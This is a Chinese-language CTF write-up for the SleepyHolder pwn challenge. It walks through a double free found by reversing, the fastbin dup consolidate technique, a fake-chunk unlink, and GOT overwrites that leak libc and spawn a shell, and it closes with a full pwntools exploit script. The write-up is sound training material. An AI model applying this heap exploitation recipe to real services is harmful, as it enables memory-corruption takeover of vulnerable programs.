SleepyHolder是fastbin dup consolidate的例题。二进制文件在这里:SleepyHolder

fastbin dup consolidate是一种没怎么用过的攻击手法。当malloc很大块的时候,glibc会回收fastbin,避免内存过于碎片化。fastbin会被先放入unsortedbin,如果可以consolidate会被放到smallbin中,这之后才会开始分配那个大块。这样原本的fastbin就会被移走,如果再free这个fastbin就可以绕过double free的检查。

Reversing

程序的功能比较简单,有三种大小的chunk可以存储secret:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Waking Sleepy Holder up ...
Hey! Do you have any secret?
I can help you to hold your secrets, and no one will be able to see it :)
1. Keep secret
2. Wipe secret
3. Renew secret
1
What secret do you want to keep?
1. Small secret
2. Big secret
3. Keep a huge secret and lock it forever
1
Tell me your secret:
aaa

但是每种大小的secret只能有一个,且huge secret用了之后就动不了了。

程序存在的全局变量:

1
2
3
4
5
6
char* big_ptr;
char* huge_ptr;
char* small_ptr;
int big_inuse;
int huge_inuse;
int small_inuse;

delete secret的时候存在漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned __int64 delete()
{
int choice; // eax
char s; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
puts("Which Secret do you want to wipe?");
puts("1. Small secret");
puts("2. Big secret");
memset(&s, 0, 4uLL);
read(0, &s, 4uLL);
choice = atoi(&s);
if ( choice == 1 )
{
free(small_ptr);
small_secret_count = 0;
}
else if ( choice == 2 )
{
free(big_ptr);
big_secret_count = 0;
}
return __readfsqword(0x28u) ^ v3;
}

没有检验inuse位就进行了free,造成double free。

Fastbin dup consolidate

按照攻击手法,我们如下操作:

1
2
3
4
5
add(1, 'a')
add(2, 'b') # avoid merge
delete(1)
add(3, 'c')
delete(1) # both in fastbin and smallbin

此时最开始的small secret就会同时在smallbin和fastbin中。large secret是为了避免和top chunk合并。

Unlink

现在small secret同时在两个bin中,我们再malloc一次,就可以编辑这个chunk的内容,同时,这个chunk却被认为是已经free的:这是因为后面的large chunk的prev_inuse位为0。

1
2
3
4
0x1704d60:      0x0000000000000000      0x0000000000000031
0x1704d70: 0x0000000061616161 0x0000000000000000
0x1704d80: 0x0000000000000000 0x0000000000000000
0x1704d90: 0x0000000000000000 0x0000000000000fb0

这样,我们就可以在small secret中伪造一个fake chunk:

1
2
3
4
5
0xd30ee0:       0x0000000000000000      0x0000000000000031
0xd30ef0: 0x0000000000000000 0x0000000000000021 <= fake chunk
0xd30f00: 0x00000000006020b8 0x00000000006020c0 <= fake fd and bk bypass check
0xd30f10: 0x0000000000000020 0x0000000000000fb0
^- fake prev_size

在delete large secret的时候触发unlink,进而覆盖全局的secret指针和三个inuse位。

既然指针能覆盖,泄露和getshell就简单了:

  • free@got ⇒ puts@plt
  • 改一个指针为atoi@got,free掉即可leak
  • 改aoti@got为system@got
  • 输入/bin/sh\x00即可getshell

或者free@got ⇒ system@got,free掉一个存有/bin/sh\x00的secret即可。

需要注意的是全程huge ptr都是无法操作的,只能通过small secret和big secret操作,另外每次覆盖的时候需要把三个inuse覆盖为1,否则会触发double free。

完整的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from pwn import *
import sys

context.terminal=["tmux", "sp", "-h"]
context.log_level='debug'

DEBUG = False

LOCAL = True
BIN = './SleepyHolder'
HOST = '127.0.0.1'
PORT = 1234

def add(t, s):
p.recvuntil('3. Renew secret\n')
p.sendline('1')
p.recvuntil('Big secret\n')
p.sendline(str(t))
p.recvuntil(': \n')
p.send(s)

def delete(t):
p.recvuntil('3. Renew secret\n')
p.sendline('2')
p.recvuntil('Big secret\n')
p.sendline(str(t))

def edit(t, s):
p.recvuntil('3. Renew secret\n')
p.sendline('3')
p.recvuntil('Big secret\n')
p.sendline(str(t))
p.recvuntil(': \n')
p.send(s)

big_ptr = 0x6020c0
huge_ptr = 0x6020c8
small_ptr = 0x6020d0

def exploit(p):
add(1, 'a')
add(2, 'b') # avoid merge
delete(1)
add(3, 'c')
delete(1) # both in fastbin and smallbin

pl = ''
pl += p64(0)
pl += p64(0x21)
pl += p64(small_ptr-0x18)
pl += p64(small_ptr-0x10)
pl += p64(0x20)
add(1, pl)
delete(2) # unlink small_ptr->small_ptr-0x18

pl = ''
pl += p64(0) # padding
pl += p64(elf.got['atoi']) # big
pl += p64(0)
pl += p64(elf.got['free']) # small
pl += p32(1)*3 # inuse
edit(1, pl)
edit(1, p64(elf.plt['puts'])) # free->puts
delete(2)
atoi_addr = u64(p.recv(6).ljust(8, '\x00'))
system = atoi_addr - libc.sym['atoi'] + libc.sym['system']
edit(1, p64(system)) # free->system
add(2, '/bin/sh\x00')
delete(2)

p.interactive()

return

if __name__ == "__main__":
elf = ELF('./SleepyHolder')
libc = elf.libc
if len(sys.argv) > 1:
LOCAL = False
p = remote(HOST, PORT)
exploit(p)
else:
LOCAL = True
p = process('./SleepyHolder')
if DEBUG:
gdb.attach(p)
exploit(p)

Ref